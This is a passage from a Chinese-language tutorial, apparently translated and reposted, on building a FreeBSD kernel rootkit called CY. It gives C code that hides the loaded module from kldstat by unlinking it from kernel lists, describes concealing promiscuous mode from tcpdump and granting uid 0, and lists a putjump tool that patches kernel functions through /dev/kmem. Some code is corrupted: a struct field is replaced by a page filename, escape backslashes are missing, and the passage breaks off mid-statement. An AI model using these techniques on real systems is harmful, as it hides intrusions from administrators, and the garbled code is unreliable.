pr_input = old_icmp_input; break;
default: error = EINVAL; break; } return(error); } CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。 3.6. 隐藏模块 重要的,我们当然要隐藏模块自身了( kldstat | kldstat -v 区别 ;)) 前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们 要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c 此外它还有一个计数单元定义在next_file_id,这个 数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块 extern linker_file_list_t linker_files; extern int next_file_id; extern struct lock lock;
[...] linker_file_t lf = 0;
/* lock exclusive, since we change things */ lockmgr(&lock, LK_EXCLUSIVE, 0, curproc); (&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf, &linker_files, link) { //宏定义遍历队列得到linker_file结构
if (!strcmp(lf->2005530123647.htm, "cyellow.ko")) {
/*first let’s decrement the global link file counter*/ next_file_id--;
/*now let’s remove the entry*/ TAILQ_REMOVE(&linker_files, lf, link); //从队列中删除 break; } } lockmgr(&lock, LK_RELEASE, 0, curproc);
下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。 extern modulelist_t modules; extern int nextid;
[...] module_t mod = 0;
TAILQ_FOREACH(mod, &modules, link) {
if(!strcmp(mod->name, "cy")) { /*first let’s patch the internal ID counter*/ nextid--; TAILQ_REMOVE(&modules, mod, link); } } [...] 现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含 了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值, 它是我相信可能还有其它的方法来找到它。 3.6 其它的应用 还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0 下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用 tcpdump接口的模式也不会是混杂。(:)) 当然通过/dev/kmem你可以得到很多有趣的的东西;)本文由LINUX联盟站收集整理,转贴请保留以下链接信息 4.内核补丁
模块并不是唯一的修改内核的途径,我们还可以利用/dev/kmem来复写已经存在的数据,代码。在技术节中我已经描述了大概的方法 ,现在我们的关键是写/dev/kmem.
4.1 介绍
简单的测试我们可以只是在某个内核函数的开始处写如一个返回地址,我们用内核模块来做这样的测试,它不会影响正常的运行, 现在我们不让CY运行在隐蔽的模式,我们写一个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生,cy_ctl会简单的返回, 在tools/putreturn.c 有例子代码。
4.2 插入跳转
非常简单可以插入一些跳转到某些函数,这样可以重定向到我们的代码,并且不用修改系统调用表核任何其他的表格,这意味着你并不 需要加载一个模块来完成这件事,通过写/dev/kmem,当然了你也可以加载模块来完成。
在tools/putjump.c: /*这里是那个非常经典的lkm里来自 Silvio Cesare e4gle@whitecell 前辈翻译过 修改指定函数地址的前7个字节,来跳转到我们的代码*/ /* the jump */ unsigned char code[] = "xb8x00x00x00x00" /* movl $0,%eax */ "xffxe0" /* jmp *%eax */ ;
int main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX]; long diff; kvm_t *kd; struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
if(argc < 3) { fprintf(stderr,"Usage: putjump [from function] [to function]n"); exit(-1); }
nl[0].n_name = argv[1]; nl[1].n_name = argv[2];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf); if(kd == NULL) { fprintf(stderr,"ERROR: %sn",errbuf); exit(-1); }
if(kvm_nlist(kd,nl) < 0) { fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); exit(-1); }
if(!nl[0].n_value) { fprintf(stderr,"Symbol %s not found.n",nl[0].n_name); exit(-1); }
if(!nl[1].n_value) { fprintf(stderr,"Symbol %s not found.n",nl[1].n_name); exit(-1); }
printf("%s is 0x%x at 0x%xn",nl[0].n_name,nl[0].n_type,nl[0].n_value); printf("%s is 0x%x at 0x%xn",nl[1].n_name,nl[1].n_type,nl[1].
|